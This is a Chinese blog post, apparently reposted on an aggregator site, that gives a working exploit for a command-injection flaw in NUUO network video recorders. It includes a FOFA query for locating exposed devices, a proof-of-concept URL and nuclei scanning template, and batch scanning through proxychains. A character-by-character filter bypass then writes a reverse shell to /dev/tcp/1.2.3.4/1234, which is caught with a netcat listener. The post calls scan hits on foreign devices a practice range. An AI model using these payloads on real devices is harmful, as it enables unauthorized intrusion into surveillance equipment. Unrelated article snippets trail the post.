NUUO 网络摄像头命令执行漏洞

一、设备简介

  • NUUO NVR是中国台湾省NUUO公司旗下的一款网络视频记录器,该设备存在远程命令执行漏洞,攻击者可利用该漏洞执行任意命令,进而获取服务器的权限。

  • 网络视频记录器的CPU为Marvell Kirkwood 88F6281,CPU架构为基于ARMv5架构。该系统中有busybox,一个精简的环境,包含了许多最常用的UNIX命令和工具,如ls、cp、mv、grep、find、awk、sed等。无法执行复杂的任务和其他架构的程序。
    640.png
    FOFA语法如下:

title="Network Video Recorder Login "

二、漏洞原理

  1. 利用GET请求如下POC执行whoami命令得到回显。
http://{{Hostname}}/__debugging_center_utils___.php?log=|whoami
  1. nuclei扫描POC
id: NUUO-log-rce

info:
  name: NUUO-log-rce
  author: skyOff
  severity: high
  description: NUUO-log-rce
  tags: NUUO,rce

requests:
  - raw:
      - |+
        GET /__debugging_center_utils___.php?log=|id HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - uid
      - type: status
        status:
          - 200
  • kali快速安装nuclei,nuclei批量命令如下:
$ sudo apt install nuclei -y
$ proxychains nuclei -duc -list 100hosts.txt -t ./NUUO-log-rce.yaml

即可得到扫描结果,即可作为漏洞复现靶场(国外)。

三、绕过过滤规则,写入落盘文件。

  • 通过逐个字符写入绕过后端代码审计过滤规则,并将反弹命令写入到a.sh脚本中。
  • 由于NUUO后端对get请求的符号进行过滤,所以需要用url编码绕过&过滤,用echo $PWD 命令回显字符裁剪第一个字符/来得到/,这个裁剪后存在“\n”回车符,所以我们利用awk '{ printf “%s”, $0 }'去除"\n"。
  • 命令为echo $PWD | cut -c1 | awk ‘{ printf “%s”, $0 }’
    a.sh内容为 sh -i >& /dev/tcp/1.2.3.4/1234 0>&1
  • 逐个请求如下URL,实现a.sh文件落地到目标主机。
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "sh -i " >a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf ">" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "%26" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf " " >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "dev"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "tcp"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1.2.3.4"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|echo $PWD | cut -c1  | awk '{ printf "%s", $0 }' >> a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1234 0"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf ">"  >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "%26" >>a.sh
http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|printf "1"  >>a.sh

http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|cat a.sh

公网主机(1.2.3.4)启动监听端口nc -lvp 1234 -n
再执行bash a.sh 反弹shell即可生效。

http://xx.xx.xx.xx/__debugging_center_utils___.php?log=|bash a.sh
  • 此设备内存大小大多数为1GB或者0.5GB大小内存,存储大概为2TB-5TB不等。
  • 该系统中有busybox,一个精简的环境,包含了许多最常用的UNIX命令和工具,如ls、cp、mv、grep、find、awk、sed等。即使拿到设备shell发现什么都做不了,无法安装任何软件。
  • 由于armv5架构问题,无法执行其他架构的二进制文件,所以没有什么利用价值。除了对设备内容存储内容进行编辑外无可用之处。
    其他后渗透操作还需读者耐心研究,国富民强。

免责声明

免责声明: 本文旨在分享技术复现的相关知识和信息,仅供教育、研究和合法的安全测试之用。使用者应知悉并同意,任何通过本文所提供的技术和信息进行的活动,需遵守适用的法律法规,并获得相关授权。 特此声明,本文作者或发布者不对使用本文所提供的任何技术和信息导致的任何直接或间接损失、损害或法律纠纷承担责任。使用者应对其自身行为负完全责任,并自行承担相关风险。 使用者在使用本文所提供的技术和信息之前,请确保已获得合适的合法授权,并遵守以下准则:

  1. 合法使用原则:在任何情况下,禁止利用本文所涉及的技术和信息从事非法、未授权的活动,包括但不限于黑客攻击、非法入侵、未经授权的系统访问、数据篡改或窃取等。使用者应尊重他人的隐私权和知识产权,并严守法律和道德规范。
  2. 授权原则:在进行任何测试、复原或演示攻击之前,确保已获得明确的合法授权。未经明确授权进行攻击或测试行为是违法的,一切后果由使用者自行承担。
  3. 风险责任原则:使用者应意识到黑客技术复现存在风险,并且可能导致系统崩溃、数据丢失、业务中断或其他潜在的损害。在执行任何技术操作之前,请备份重要数据,并自行承担一切风险和责任。
  4. 法律遵守原则:使用者应遵守适用的国家、地区或国际法律法规。在进行学习、实验和测试的过程中,绝不可涉及非法活动,包括但不限于窃取他人信息、破坏公共设施、恶意软件传播或侵犯知识产权等。

请在使用本文所提供技术和信息之前,务必充分理解并接受上述责任和准则。 此免责声明适用于本文提供的任何技术和信息,无论以何种方式传播或使用,使用者一旦进行相关活动即视为接受以上所有规定和责任。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/374379.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LLM(大语言模型)——大模型简介

目录 概述 发展历程 大语言模型的概念 LLM的应用和影响 大模型的能力、特点 大模型的能力 涌现能力(energent abilities) 作为基座模型支持多元应用的能力 支持对话作为统一入口的能力 大模型的特点 常见大模型 闭源LLM(未公开源…

GADM 4.1 全球国家行政区划下载

扫描文末二维码,关注微信公众号:ThsPool 后台回复g004,领取最新 GADM 4.1 全球国家行政区划 GADM概述 GADM,全称 Database of Global Administrative Areas,是一个开放获取的全球行政区划数据库,包含各国、…

智慧城市与数字孪生:技术驱动下的城市治理与生活变革

一、引言 随着科技的飞速发展,智慧城市和数字孪生已经成为现代城市发展的重要趋势。它们通过运用先进的信息通信技术,提升了城市的治理效率和居民的生活品质。本文将探讨智慧城市与数字孪生如何共同推动城市治理与生活的变革,以及面临的挑战…

Webpack源码浅析

webpack启动方式 webpack有两种启动方式: 通过webpack-cli脚手架来启动,即可以在Terminal终端直接运行; webpack ./debug/index.js --config ./debug/webpack.config.js通过require(webpack)引入包的方式执行;其实第一种方式最终…

踩坑了,MySQL数据库生成大量奇怪的大文件

作者:田逸(formyz) 一大早就收到某个数据库服务器磁盘满的报警信息,其中数据盘使用率超过90%,如下图所示。 这是一台刚上线不久的MySQL从库服务器,数据盘的总容量是300G。先登录系统,查看主从同…

一般系统的请求认证授权思路【gateway网关+jwt+redis+请求头httpheader】

gateway:网关,我们都知道网关的作用就是对系统的所有请求,网关都会进行拦截,然后做一些操作(例如:设置每个请求的请求头httpHeader,身份认证等等)此时一般会使用到网关过滤器&#x…

感悟笔记——2024年2月5日

今日阅读了一篇挺有深度的文章,主要阐述进入职场后的大部分人,是怎么逐渐沦为螺丝钉的?即使起点巨高的优等生,也不可避免。文章指路: 「优等生思维」正在将你变成「螺丝钉」和「老黄牛」从小到大,我一直都是那个「别…

随记-Java项目处理SQL注入问题

现象:http://10.xx.xx.xx:xx/services/xxService 存在SQL注入情况 加固意见: 需要对网站所有参数中提交的数据进行过滤,禁止输入“"、"xor"、"or"、”--“、”#“、”select“、”and“等特殊字符;所有…

专业排版设计软件:QuarkXPress 2024 for mac中文激活版

QuarkXPress 2024 for Mac是一款功能强大、易于使用、高质量输出的专业排版软件。无论您是出版业的专家还是初学者,都可以通过QuarkXPress 2024轻松创建出令人惊叹的出版物。 软件下载:QuarkXPress 2024 for mac中文激活版下载 QuarkXPress 2023 for Mac…

游戏后端如何实现服务器之间的负载均衡?

在当今的游戏行业中,随着游戏用户数量的不断增加,如何实现服务器之间的负载均衡成为了一个亟待解决的问题。游戏后端作为游戏的重要组成部分,承载着游戏逻辑处理和数据存储等功能,因此游戏后端的负载均衡问题尤为重要。本文将详细…

FINN: 使用神经网络对网络流进行指纹识别

文章信息 论文题目:FINN: Fingerprinting Network Flows using Neural Networks 期刊(会议):Annual Computer Security Applications Conference 时间:2021 级别:CCF B 文章链接:https://dl.ac…

centos7的git使用方法

下载git yum install git git克隆 git clone https...(图片中复制的内容) git提交到远程仓库 git add filename git commit -m "提交日志" git push git首次使用要配置邮箱和用户名 查看提交日志 git log 查看当前提交状态 git status

JAVASE进阶:一文精通Stream流+函数式编程

👨‍🎓作者简介:一位大四、研0学生,正在努力准备大四暑假的实习 🌌上期文章:JAVASE进阶:源码精读——HashMap源码详细解析 📚订阅专栏:JAVASE进阶 希望文章对你们有所帮助…

【第三十五节】idea项目的创建以及setting和Project Structure的设置

项目创建 Project Structure的设置 点击file ~ Project Structure 进入

RBAC权限控制实现方案

上一文章讲述了利用RBAC实现访问控制的思路(RBAC实现思路),本文主要详细讲解利用vuex实现RBAC权限控制。 一、准备工作 从后台获取到权限对照表,如下: 1、添加/编辑楼宇 park:building:add_edit 2、楼宇管理 pa…

3. ⼤语⾔模型深度学习背景知识

1. LLM⼤语⾔模型⼀般训练过程 #mermaid-svg-8kci1fjEPiVolPue {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-8kci1fjEPiVolPue .error-icon{fill:#552222;}#mermaid-svg-8kci1fjEPiVolPue .error-text{fill:#5522…

管理类联考-复试-全流程演练-导航页

文章目录 整体第一步:学校导师两手抓——知己知彼是关键学校校训历史 导师你对导师的研究方向有什么认知。 第二步:面试问题提前背——押题助沟通自我介绍——出现概率:100%为什么选择这个专业?今后如何打算?你认为自己…

最小覆盖子串[困难]

优质博文:IT-BLOG-CN 一、题目 给你一个字符串s、一个字符串t。返回s中涵盖t所有字符的最小子串。如果s中不存在涵盖t所有字符的子串,则返回空字符串"" 。 对于t中重复字符,我们寻找的子字符串中该字符数量必须不少于t中该字符数量…

AI新工具(20240206) Qwen1.5;法唠;Boximator 是由字节跳动研究团队开发的创新视频生成工具;秒画 等

Qwen1.5 - Qwen1.5更新了六种尺寸的基础和聊天模型,并在Hugging Face转换器集成了其代码,以提升开发者体验,并支持多种语言和长上下文处理。 Qwen1.5是一个大规模语言模型的最新迭代,它由Qwen团队开发。这个更新在中国新年前夕发…

QT exec阻塞UI

connect必须放在exec前